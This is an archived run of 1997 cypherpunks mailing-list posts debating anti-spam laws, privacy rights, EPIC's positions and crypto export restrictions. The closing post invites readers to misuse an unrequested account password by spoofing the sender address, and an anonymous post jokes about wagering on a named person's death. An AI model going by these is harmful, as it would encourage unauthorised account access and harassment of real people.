> >> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> >> anti-spam legislation, saying that what the legislators in Congress really
> >> need to look into is how the spammers develop their data bases.....
> >>
> >> Incredible. Does he propose investigations of private data gathering?
> >> Perhaps search warrants served on those who take public postings and
> >> construct data bases?
> >>
> >> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> >> realize the "spammers" are merely  taking publicly available (= legally
> >> available, as 99.99% of all such information is) information and using
> >> legal channels to contact me. I may not "like" it, but their behavior is as
> >> legal as someone calling me on the phone.
> >>
> >> (And ny nearly any measure of hassle factor, dashing to get to the phone
> >> only to find it's a salesman selling something I don't want is worse than
> >> any 20 unwanted e-mail messages.)
> >>
> >> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
> >> compilation and use of public information.
> >>
> >> These people are NOT our allies.
> >>
> >> --Tim May
> >>
> >> There's something wrong when I'm a felon under an increasing number of laws.
> >> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> >> ---------:---------:---------:---------:---------:---------:---------:----
> >> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> >> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> >> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> >> Higher Power: 2^1398269     | black markets, collapse of governments.
> >> "National borders aren't even speed bumps on the information superhighway."
> >>
> >>
> >>
> >>
> >>
> 
> 
> 
> ==================================================================
> Marc Rotenberg, director                *   +1 202 544 9240 (tel)
> Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
> 666 Pennsylvania Ave., SE Suite 301     *   rotenberg at epic.org
> Washington, DC 20003   USA              +   http://www.epic.org
> ==================================================================
> 
> 
> 
> 






From tcmay at got.net  Sat May 31 09:38:04 1997
From: tcmay at got.net (Tim May)
Date: Sun, 1 Jun 1997 00:38:04 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


At 7:10 AM -0700 5/31/97, Robert A. Costner wrote:

>I have not heard Rotenberg's statements on private collection of public data
>and spam, but I can make my own.
>
>
>At 10:13 PM 5/30/97 -0700, Tim May wrote:
>>The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>>anti-spam legislation, saying that what the legislators in Congress really
>>need to look into is how the spammers develop their data bases.....
>...
>>Incredible. Does he propose investigations of private data gathering?
>
>I'd agree here.  Rather than have Congress blindly pass a law, some
>investigation of the matter should be done first.  While I am not
>supporting a
>law, any such law should have three parts:

Even better: "Congress shall make no law..."

Not _some_ law, but *no* law.

The compilation of records, files, dossiers, gossip, etc., is a clearly
protected First Amendment (and probably Fourth, against search and seizure)
activity.

(Now if I break into your house to Xerox your papers to add to my dossiers,
this is not permitted, unless I am with one of the government's secret
police agencies.)


>As for investigations into data gathering, I've been doing that for some
>time.
> It has educated me, and would no doubt educate congress.  Two years ago, I
>spoke with the president of Pro-CD, a popular CD-phonebook company.  I asked
>him why unlisted numbers are not on the CD's, and why so few fax numbers are
>on the CD's.  This information is readily available.  He said that only
>previous published collections are republished by him.  What spammers are
>doing is invasive in that they are collecting the information for the first
>time.

"Invasive"? We have to be careful here. There are two main senses of
"invasive":

"invasive - something I don't like."

"invasive - an illegal violation of my rights."

I may find it invasive when a bum asks me for spare change, but it is not
illegal (anti-begging laws are unconstitutional, obviously).



>>I may not "like" it, but their behavior is as legal as someone
>>calling me on the phone.
>
>I'll agree with you to some degree.  After all, it *IS* ILLEGAL for
>someone to
>call you on the phone for the equivalent of spam, many people would like
>email
>spam to be just as illegal.  However there are loopholes in the law that
>allow

If it is "ILLEGAL" (your emphasis) for someone to call me on the phone for
spamming, why then do I get so many such calls? Why aren't the prisons full?

(Answer: Because it is NOT illegal for people to call me, or for me to call
others, or for me to even call thousands of others. True, it is possible
for me (I disagree with these laws, though, and cite the First again) for
me to _ask_ that they not call me. Maybe even jump through hoops and get an
injunction. )

There are laws on the books which prohibit fully automated calls with no
humans in the loop, but these are easily bypassed. (E.g., the boiler-room
minimum wage employees in Detroit and Chicago who pick up the phone several
seconds after I have picked up and then start a barely understandable
spiel...I've prettty much taken to hanging up if no human voice appears
within the first couple of seconds, as I know I am being handed off to the
next available "human.")


>email to be sent under the same circumstances.  State laws, and the federal
>law have provisions such as time ranges calls can be made (daytime hours
>only), prohibitions on the use of automated equipment, removal lists, and
>call
>destinations absolutely prohibited (hospitals, emergency numbers).

And I disagree with most of these laws, as being state intrusion into
communication. There are other solutions besides more laws.

>Pick up any metropolitan newspaper.  Count the number of classified ads on
>any
>given day.  Spam is cheaper and reaches more people.  Would you like to see
>this number of spams in you mail box?  Will you honestly say that 500-1000
>spams in your mailbox is simply annoying?  Multiply this by the number of
>newspapers in the US.

Your point being?

Any laws forbidding spam generation in the U.S. will simply (or already)
move the spam-originating sites offshore. Then what happens? Is my ISP
supposed to screen international messages for me? Do we get the
U.N./OECD/Interpol/Illuminati to "regularize" anti-spam laws in all 197
recognized nations?

The "500 messages a day" problem will be solved through other means.  It
has to be. Laws are insufficient, and wrong-headed, solutions for speech
issues.


>
>The manner in which the information is collected is invasive.  People feel
>their privacy is being violated.  The right to be left alone is a fundamental

I don't give a goddamned shit what "people feel" one way or another. People
"feel" there ought to be a _lot_ of laws, especially for other people. So?

It's sad to see a leader of Electronic Frontiers-Georgia making these lame
arguments about why more laws are needed.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Sat May 31 09:45:01 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 1 Jun 1997 00:45:01 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: <199705311633.LAA21181@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on 05/31/97 
   at 09:12 AM, Declan McCullagh  said:

>Oh, and the much-touted European Privacy Directive has
>made it near-impossible to exchange employee
>information between branches of the same firm that are
>physically in different countries. Bad move,
>Eurocrats.

I think that looking towards Europe on issues of Civil Liberties is the
sillist of notions. The Big 3 players in Europe (UK,Germany,France)
wouldn't have a clue how to operate in a free and open society the smaller
players are even worse.

We have right now in Europe the universal embracement of
Socialism/Communisim/Statism at the same time that Eastern Europe & the
former Soviet Empire are struggling towards Democracy & Freedom.

Anyone who can point towards the actions of the Eurocrats as an example of
how we should go does not have the intrest of Freedom & Liberty for the
citizens at hart.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
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XY1+af0uBiA=
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From lucifer at dhp.com  Sat May 31 10:18:00 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 01:18:00 +0800
Subject: The Bible Code
Message-ID: <199705311659.MAA27760@dhp.com>


John Young wrote:
> 
> Published today with great fanfare, "The Bible Code"
> describes the fruits of three Israeli mathematicians in
> decrypting hidden messages in the Bible by textual
> analysis algorithms. Blurbs claim that the work passed
> peer review for publication in a math journal a few
> years back, was confirmed by "a US Defense Department
> code-breaker" and predicted the assassinations of
> JFK, RFK, Sadat and Rabin.
...
> Better, is this book the first of many to come to celebrate the
> cook-ups of codes and cyphers and algorithmic chefs? Is a
> film in the works, or, best, a Seinfeld of 0s and 1s?

I will shortly be releasing my new book, "The ASCII Code" which
outlines the predictions made based on decrypting the hidden
messages in the ASCII artwork sent to the cypherpunks list.

Since none of the predictions have proven accurate, my book
speculates that perhaps Tim May isn't a cocksucker, after all.

All proceeds from the book will be converted to eca$h and used
to wager on the predicted date of death for Graham-John Bullers
on the AP Bot at:
http://www3.sk.sympatico.ca/carljohn/AP/AP.htm

DeathMonger






From dlv at bwalk.dm.com  Sat May 31 10:24:35 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 01:24:35 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: <199705311633.LAA21181@mailhub.amaranth.com>
Message-ID: 


"William H. Geiger III"  writes:
>
> We have right now in Europe the universal embracement of
> Socialism/Communisim/Statism at the same time that Eastern Europe & the

Yep.

> former Soviet Empire are struggling towards Democracy & Freedom.

Nope.  More free market in the economies, but very bad record on
political freedoms in most eastern european countries + former
soviet republics

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat May 31 10:27:02 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 01:27:02 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


Tim May  writes:
> Any laws forbidding spam generation in the U.S. will simply (or already)
> move the spam-originating sites offshore. Then what happens? Is my ISP
> supposed to screen international messages for me? Do we get the
> U.N./OECD/Interpol/Illuminati to "regularize" anti-spam laws in all 197
> recognized nations?

Of course, the "anti-spamming" laws will also be used to suppress the
"politically incorrect" speech.  Recall that Jim Bell has already been
accused of "spamming", in addition to other crimes.

Those who follow the Usenet newsgroup alt.conspiracy may have observed
a recent trend: someone posts an anti-Clinton rant.  An unknown "rogue
retromoderator" forges a cancel for it. (Given how quickly forged "spam"
gets tracked down, it's amazing how no one ever catches these pesky "rogue
cancellers".) The author reposts the original rant. This repeats a few
times, after which Chris Lewis of BNA/Nortel kicks in and starts
issuing cancels for the rant, and any articler quoting the rant,
because it's been reposted too many times already, making it "spam".

Compare this with the CBS 60 minutes story about a month ago, about
how bad people are allowed to tell lies about the U.S. government on
the Internet, and how there ought to be a law against it.

> The "500 messages a day" problem will be solved through other means.  It
> has to be. Laws are insufficient, and wrong-headed, solutions for speech
> issues.

A promiscous e-mail box that assumes that strangers have something interesting
to say is quickly becoming obsolete.

A possible solution is to set up a procmail recipet that would dump all
incoming e-mail from unrecognized correspondents into a separate folder, which
one could examine at leasure once a week.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From mnorton at cavern.uark.edu  Sat May 31 11:10:12 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Sun, 1 Jun 1997 02:10:12 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


On Sat, 31 May 1997, Declan McCullagh wrote:

> The initial question has to be not how you protect rights,
> but how you define them. For example, we have a right
> to speak freely; there should be strict limits on
> government controls on free expression or the press.
> The state has unique powers of coercion. Similarly,
> there should be strict limits on government collection
> of personal data about its citizens.
> 
> But transactional privacy is a different matter. Sure,
> we may generally agree that privacy is the famous
> "right to be left alone," but how does that extend to
> what happens when I make an affirmative choice to
> connect to a web site that might record some info
> about my visit -- as an alternative to charging me?
> Nobody's forcing me to visit that site. That's why
> I'm starting to come around to the idea that privacy
> is not a universal right but a preference. We need a
> market in privacy, not inflexible FTC rulemaking.

Is one of the questions, whether we have right to take steps
to protect our "transactional" privacy?  The Brandeis and Warren
"right to be left alone" shares a connection with property rights
and has more than a nodding acquaintance with Fourth and Fifth
Amendment concepts--there's not much utility in a right to be
left alone if you have no place to be alone or if others can
enter your place/space at will.

Off your space ("in public") you can usually be observed; much
of the complaining in the past couple of decades is about the
increasingly sophisticated, even automated, means of observation
and recording, not about the fact that if you enter a premise
(say, a website:)) you can be seen and overheard by other people.
It seems to me this is a question of degree, and not a threat
to some pre-existing right to remain anonymous and "unseen"
in public. In other words, is there a right to forbid others
from trying to observe you in public, especially in places
where those others have an equal (or greater) right to be?

So the question may be not whether we can prohibit others from
doing so, by right, but whether we have right to attempt 
peacefully to *prevent* them from doing so?  I.e., can the 
gov't forbid us from trying to protect our privacy by avaliable
means, say, crypto?
MacN






From aba at dcs.ex.ac.uk  Sat May 31 11:14:19 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 1 Jun 1997 02:14:19 +0800
Subject: legal EAR work-around/Paper based remailers
In-Reply-To: <199705311334.IAA18924@mailhub.amaranth.com>
Message-ID: <199705311800.TAA00253@server.test.net>



William Geiger  writes:
> Adam Back  writes
> > [export via printing out on paper, and scanning via automated for pay
> >  email gateway]
> 
> Why bother with all of this. If you want to export crypto then just do it.
> As long as we keep up with this mickymouse approach to exports trying to
> appease the FEDs who are acting unconstitutionaly on this matter things
> will never change. Put up a web page or a ftp site with the crypto
> binaries and let whomever wishes to download them download them.

Do you have a copy of PGP5.0 on there?  I wouldn't mind looking at
that.

> I have done this and I will continue to do this dispite what the goons in
> DC have to say about it.
> 
> We must all hang together or we will all hang.

If you export it, and make a big deal of it advertising your web page
as widely as you can, and talk to newspapers about how you're
purposefully violating the export law, I'd predict you'd get a visit
from the Feds in a few days.  As long as you're low key, you're just
one of the hundreds getting away with it, and not worth the effort to
stop.

I think the key is to make fun of them, so that they loose
credibility.  They don't like being laughed at.

So Sun Microsystems did a real good job by getting stuff produced in
Russia.  Russia of all places, given the average US persons jingoistic
antagonism towards the "Commies".  Excellent.

So my proposal is aimed at being another stunt.  It might be
news-worthy (ie get reported on enough that it get discussed, and to
make the US government look exceedingly stupid).

And it's perfectly legal, so you can't be stopped.

If PGP Inc wants to mail out the latest version of PGP, they are
welcome to.

I mean come on, next thing, the providor of this service will be
offering web space too, so that US firms can link to their own
binaries which they exported themselves 100% legally.

Now all they need is some reseller agreements, or overseas sales
offices to export worldwide unrestricted, dumb laws or not.

It has been speculated that this change to the regulations might have
been due to Phil Karn's ploy of asking to export the source code disks
of the examples in Applied Crypto.  I think that is a cool
speculation.

Now we all know all the freeware and shareware crypto gets everywhere
anyway.  But no US companies are not exporting high grade crypto
generally, and US companies produce the lions share of application and
OS software.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



On Sat, 31 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Of course, the "anti-spamming" laws will also be used to suppress the
> "politically incorrect" speech.  Recall that Jim Bell has already been
> accused of "spamming", in addition to other crimes.

Uh, no. Bell was charged with violating:

26 U.S.C. Section 7212(a)
42 U.S.C. Section 408(a)

Which are, generally, attempts to interfere with administration of
internal revenue laws and fraudulent use of a false SSN.

Besides, spamming isn't a criminal offense, last time I checked.

In the interests of completeness, I should note that I just finished a
rather long article about Bell's arrest and related events for Internet
Underground magazine. The government hinted that they might have
additional charges to file against Bell by the time the grand jury
convenes in probably two weeks. He is currently being held without bail, a
situation more common in Federal than state courts.

-Declan






From whgiii at amaranth.com  Sat May 31 11:37:47 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 1 Jun 1997 02:37:47 +0800
Subject: legal EAR work-around/Paper based remailers
In-Reply-To: <199705311800.TAA00253@server.test.net>
Message-ID: <199705311824.NAA22323@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705311800.TAA00253 at server.test.net>, on 05/31/97 
   at 07:00 PM, Adam Back  said:


>William Geiger  writes:
>> Adam Back  writes
>> > [export via printing out on paper, and scanning via automated for pay
>> >  email gateway]
>> 
>> Why bother with all of this. If you want to export crypto then just do it.
>> As long as we keep up with this mickymouse approach to exports trying to
>> appease the FEDs who are acting unconstitutionaly on this matter things
>> will never change. Put up a web page or a ftp site with the crypto
>> binaries and let whomever wishes to download them download them.

>Do you have a copy of PGP5.0 on there?  I wouldn't mind looking at that.

No I have limmited space on that ISP so I only have OS/2 software there:
E-Secure, PGP 2.6.2 & 2.6.3 OS/2 binaries, PGP 2.6.2 & 2.6.3 source code,
and RSAREF 1.0 source code. If I ever get it finished I should have SSL &
Mixmaster OS/2 binaries & source available also.

>> I have done this and I will continue to do this dispite what the goons in
>> DC have to say about it.
>> 
>> We must all hang together or we will all hang.

>If you export it, and make a big deal of it advertising your web page as
>widely as you can, and talk to newspapers about how you're purposefully
>violating the export law, I'd predict you'd get a visit from the Feds in
>a few days.  As long as you're low key, you're just one of the hundreds
>getting away with it, and not worth the effort to stop.

Well I have posted the info to approx. 20 different newsgroups, plus
numerous mailing list & fido echos. Haven't called any newspapers but I
rank then right below lawers & politions so I am in no hurry to talk to
them anyway.

As far as the FEDs I allway liked the sound of Geiger vs The United States
of America. I doubt that they could really do more than harrasment
considering that they will allow fortune 500 to export PGP but not the
little guy??

>I think the key is to make fun of them, so that they loose
>credibility.  They don't like being laughed at.

>So Sun Microsystems did a real good job by getting stuff produced in
>Russia.  Russia of all places, given the average US persons jingoistic
>antagonism towards the "Commies".  Excellent.

>So my proposal is aimed at being another stunt.  It might be news-worthy
>(ie get reported on enough that it get discussed, and to make the US
>government look exceedingly stupid).

>And it's perfectly legal, so you can't be stopped.

>If PGP Inc wants to mail out the latest version of PGP, they are welcome
>to.

>I mean come on, next thing, the providor of this service will be offering
>web space too, so that US firms can link to their own binaries which they
>exported themselves 100% legally.

>Now all they need is some reseller agreements, or overseas sales offices
>to export worldwide unrestricted, dumb laws or not.

>It has been speculated that this change to the regulations might have
>been due to Phil Karn's ploy of asking to export the source code disks of
>the examples in Applied Crypto.  I think that is a cool
>speculation.

>Now we all know all the freeware and shareware crypto gets everywhere
>anyway.  But no US companies are not exporting high grade crypto
>generally, and US companies produce the lions share of application and OS
>software.

Well I would like to see the "big" computer
(IBM,Microsoft,NetScape,Sun,DEC,...) companies tell the FEDs where to go
and just export their software/hardware. What could the FEDs do? Shut down
the entire computer industry?

The whole power structure of the FEDs is built on fear & intimidation.
Solong as we deside to play it "safe" and just go along this will never
change. Whenever I think of ways of dealing with this problem I am
reminded of how Gandi handled the British in India. Non-violent civil
disobediance. The world governments are too dependant on the computer
industry for its survival. If the CEOs would just have some balls and
stand up to them this whole issue would have been dead before it ever got
started.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From mnorton at cavern.uark.edu  Sat May 31 11:40:31 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Sun, 1 Jun 1997 02:40:31 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


To be more clear, I should have mentioned in my last missive
that I'm thinking of a "liberty" right (to protect transactional
confidentiality) as opposed to a "privacy" or, to some extent,
"property" right.
MacN

On Sat, 31 May 1997, Declan McCullagh wrote:

> I'm now more awake than I was before, and a little less
> flippant, so let me try to respond to Marc's statement
> saying my summary of his "views on privacy below are
> just silly."
> 
> The initial question has to be not how you protect rights,
> but how you define them. For example, we have a right
> to speak freely; there should be strict limits on
> government controls on free expression or the press.
> The state has unique powers of coercion. Similarly,
> there should be strict limits on government collection
> of personal data about its citizens.
> 
> But transactional privacy is a different matter. Sure,
> we may generally agree that privacy is the famous
> "right to be left alone," but how does that extend to
> what happens when I make an affirmative choice to
> connect to a web site that might record some info
> about my visit -- as an alternative to charging me?
> Nobody's forcing me to visit that site. That's why
> I'm starting to come around to the idea that privacy
> is not a universal right but a preference. We need a
> market in privacy, not inflexible FTC rulemaking.
> 
> Oh, and the much-touted European Privacy Directive has
> made it near-impossible to exchange employee
> information between branches of the same firm that are
> physically in different countries. Bad move,
> Eurocrats.
> 
> -Declan
> 
> 
> 
> On Sat, 31 May 1997, Marc Rotenberg wrote:
> 
> > People who are interested in why I am pro-individual freedom
> > but not anti-government should take a look a my piece in Wired
> > "Eurocrats Do Good Privacy." [4.05]
> > 
> > I spent a year working for a good crypto policy at the OECD.
> > During that time I watched European government officials
> > argue for constitutional freedoms and against key escrow,
> > while business representatives quietly backed the US
> > GAK plan. Welcome to the real world.
> > 
> > Marc.
> > 
> > Btw - Declan's summary of our views on privacy below are
> > just silly. Many of the greatest defenders of First Amendment
> > freedoms have also felt most strongly about the right of
> > privacy. The question is always how you protect rights.
> > Perhaps libertarians would do away with all laws that protect
> > personal freedoms. Bad call.
> > 
> > 
> >  At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
> > >Unfortunately, Tim is letting a rant get in the way of reality. A shame,
> > >really, for he's capable of better. Let me respond. I may not be very
> > >cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
> > >went to some cheezy Crystal City sports bar afterwards. I just got back
> > >home, and it's 3:20 am...
> > >
> > >Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
> > >with cypherpunk and libertarian positions on some issues. So we have
> > >issue-by-issue alliances with them. Let's break it down:
> > >
> > >------------------------------
> > >CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
> > >been the ones criticizing the SAFE "crypto in crime" provisions. Did the
> > >latest VTW alert sent out today even mention that portion of the bill, let
> > >alone criticize it?
> > >
> > >ANONYMITY: No other group in DC is such a staunch supporter of online
> > >anonymity publicly, though look for something from Cato soon. In fact, I
> > >linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
> > >Many business groups don't like anonymity online -- hurts the marketeers.
> > >
> > >FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
> > >they've said some of the anti-spam legislation is unconstitutional.
> > >
> > >FOIA: David Sobel does fabulous work snagging government documents the
> > >spooks don't want released.
> > >
> > >PRIVACY: EPIC wants more Federal involvement to protect privacy and a
> > >Federal Privacy Commission (or something similar). Lots of laws,
> > >bureaucracies. Though EPIC does realize there's a First Amendment; other
> > >privacy groups are even more aggressive. EPIC is of course on the side of
> > >libertarians when it comes to government violations of privacy.
> > >------------------------------
> > >
> > >From a libertarian perspective, EPIC is good on everything but privacy. On
> > >that they want Big Government solutions.
> > >
> > >But that doesn't mean we reject and condemn what they do on other issues.
> > >Do we reject Eagle Forum's anti-Clipper endorsement because they're a
> > >bunch of ultraconservative wackos? Do we reject the National Organization
> > >for Women's position on the CDA as bad because they're a bunch of
> > >ultraliberal wackos? How about the National Association of Broadcaster's
> > >amicus brief against the CDA? The Christian Coalition rejecting a national
> > >ID cards and numbers? Ralph Nader wanting open access to government
> > >databases?
> > >
> > >No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
> > >are not always, but are often, our allies.
> > >
> > >-Declan
> > >
> > >
> > >On Fri, 30 May 1997, Tim May wrote:
> > >
> > >>
> > >> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> > >> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
> > >> their chief spokeswonks giving a policy statement I realize they are "not
> > >> on my side."
> > >>
> > >> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> > >> anti-spam legislation, saying that what the legislators in Congress really
> > >> need to look into is how the spammers develop their data bases.....
> > >>
> > >> Incredible. Does he propose investigations of private data gathering?
> > >> Perhaps search warrants served on those who take public postings and
> > >> construct data bases?
> > >>
> > >> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> > >> realize the "spammers" are merely  taking publicly available (= legally
> > >> available, as 99.99% of all such information is) information and using
> > >> legal channels to contact me. I may not "like" it, but their behavior is as
> > >> legal as someone calling me on the phone.
> > >>
> > >> (And ny nearly any measure of hassle factor, dashing to get to the phone
> > >> only to find it's a salesman selling something I don't want is worse than
> > >> any 20 unwanted e-mail messages.)
> > >>
> > >> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
> > >> compilation and use of public information.
> > >>
> > >> These people are NOT our allies.
> > >>
> > >> --Tim May
> > >>
> > >> There's something wrong when I'm a felon under an increasing number of laws.
> > >> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> > >> ---------:---------:---------:---------:---------:---------:---------:----
> > >> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> > >> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> > >> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> > >> Higher Power: 2^1398269     | black markets, collapse of governments.
> > >> "National borders aren't even speed bumps on the information superhighway."
> > >>
> > >>
> > >>
> > >>
> > >>
> > 
> > 
> > 
> > ==================================================================
> > Marc Rotenberg, director                *   +1 202 544 9240 (tel)
> > Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
> > 666 Pennsylvania Ave., SE Suite 301     *   rotenberg at epic.org
> > Washington, DC 20003   USA              +   http://www.epic.org
> > ==================================================================
> > 
> > 
> > 
> > 
> 
> 






From tcmay at got.net  Sat May 31 11:53:54 1997
From: tcmay at got.net (Tim May)
Date: Sun, 1 Jun 1997 02:53:54 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


At 10:58 AM -0700 5/31/97, Mac Norton wrote:

>Is one of the questions, whether we have right to take steps
>to protect our "transactional" privacy?  The Brandeis and Warren
>"right to be left alone" shares a connection with property rights
>and has more than a nodding acquaintance with Fourth and Fifth
>Amendment concepts--there's not much utility in a right to be
>left alone if you have no place to be alone or if others can
>enter your place/space at will.

Indeed. And the First and Fourth, amongst other provisions, says that
government may not interfere with efforts to produce secure and private
"zones" or "spaces."

The First, in that one can _whisper_ or speak in _strange languages_.

Or freely associate with persons of one's choosing. ("assemble peaceably")

The Fourth, in that these meetings, or homes, or whatever, are free from
unreasonable searches and seizures.

(And there's the one about quartering troops...another statement of the
"right to create a private zone." Not a generalized right of privacy, in
the sense the Rotenberg's and anti-spam legislators speak of, but a right
to bar the door, shut the curtains, turn off the phone, disconnect  the
computer, and refuse to exchange information with others.)

>Off your space ("in public") you can usually be observed; much
>of the complaining in the past couple of decades is about the
>increasingly sophisticated, even automated, means of observation
>and recording, not about the fact that if you enter a premise
>(say, a website:)) you can be seen and overheard by other people.

And while many of us don't always _like_ being observed when we are in
public, or having our words catalogged in Deja News data bases, or even
having friends remind of things we once did or said, the law should have
nothing to say about these "rememberances."

(The Founders would snort and gasp were they to hear that the government
would be legislating what people could remember, what things they could
write down, what gossip they could pass on, and so on. Seems to me that
gossip and diaries are pretty clearly protected First Amendment activities.
If gossip turns into libel or slander--not that I personally agree with
even libel and slander laws, but this is another topic--then the redress
should be in civil court for the specific acts of libel or slander, not any
kind of general restrictions or licensing on gossip and remembering. This
seems to be a slam dunk First Amendment issue. Sadly, the creep of laws has
never produced an adequate case to be overturned, I surmise.)


>It seems to me this is a question of degree, and not a threat
>to some pre-existing right to remain anonymous and "unseen"
>in public. In other words, is there a right to forbid others
>from trying to observe you in public, especially in places
>where those others have an equal (or greater) right to be?

There clearly cannot be laws which forbid such observations (or
"rememberances," as I have been calling them). To forbid such
rememberances, to forbid the keeping of diaries recording the activities
and words of others, to legislate whom such rememberances may be relayed
to....arghhh! Such laws are a gross violation of the First and other
Amendments.


>So the question may be not whether we can prohibit others from
>doing so, by right, but whether we have right to attempt
>peacefully to *prevent* them from doing so?  I.e., can the
>gov't forbid us from trying to protect our privacy by avaliable
>means, say, crypto?

I've always felt the strongest argument for complete and total freedom to
use any and all cryptography is the First Amendment freedom to speak as one
wishes without prior restraint. A cipher or code is just that, a _code_.
Like speaking in French amongst other people who don't understand French,
or using hand signals, or using a code book. Or whispering.

As Ken Dam has said, we have the freedom to whisper in the ear of another;
we have the same right to "whisper" over telephone or computer lines. (This
great metaphor is usually attributed to Phil Zimmermann, but he told me he
heard this from Ken Dam, the Washington area attorney.)

As Cypherpunks, we understand that these "rights to privacy" are really
about the ability to make private spaces, not some rights conferred by a
magnanimous government.

The anti-spam legislation now being proposed is profoundly unconstitutional.

We haven't been discussing this much, but one of the main provisions of
some of the proposed laws is the requirement that all e-mail have a clearly
defined return address. This would likely be thrown out by the Supremes,
pace the 1956 decision on anonymous political speech. Ditto for "spam" laws
in general. And "campaign reform" laws, too. Canada is trying to get Web
page political comments banned, and anonymous endorseements or critiques
banned. This is the fever swamp one gets into if the First Amendment is
finessed in any way.

Straight rejection of any laws restrictiing speech or freedom of assembly
or protection from search and seizure is the only way to go. Talk of
"compromise" is a mistake.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Sat May 31 12:00:21 1997
From: tcmay at got.net (Tim May)
Date: Sun, 1 Jun 1997 03:00:21 +0800
Subject: And speaking of spamming! (was: Stanton McCandlish)
Message-ID: 



Speaking of unwanted messages, which legislators call "spamming."

An EFF person, whom I do respect, by the way, added my name to a spammer's
list, some shtick they have called "sixdegrees."

Here's the spam I just got, complete with what they claim is my "password."
Inasmuch as I never requested this password, and have no intention of using
it, and have no contractual relationship with either "sixdegrees" or
Stanton McCandlish, you folks might want to have some fun with this alleged
service and (unrequested) password. The password may only work if it comes
from "tcmay at mail.got.net," but, then, I hear that such "From:" fields are
easily spoofed.

--Tim

>X-From_: bmkf0032 at auto.sixdegrees.com Sat May 31 10:43:36 1997
>X-Real-To: 
>From: "sixdegrees" 
>To: "May Tim"  
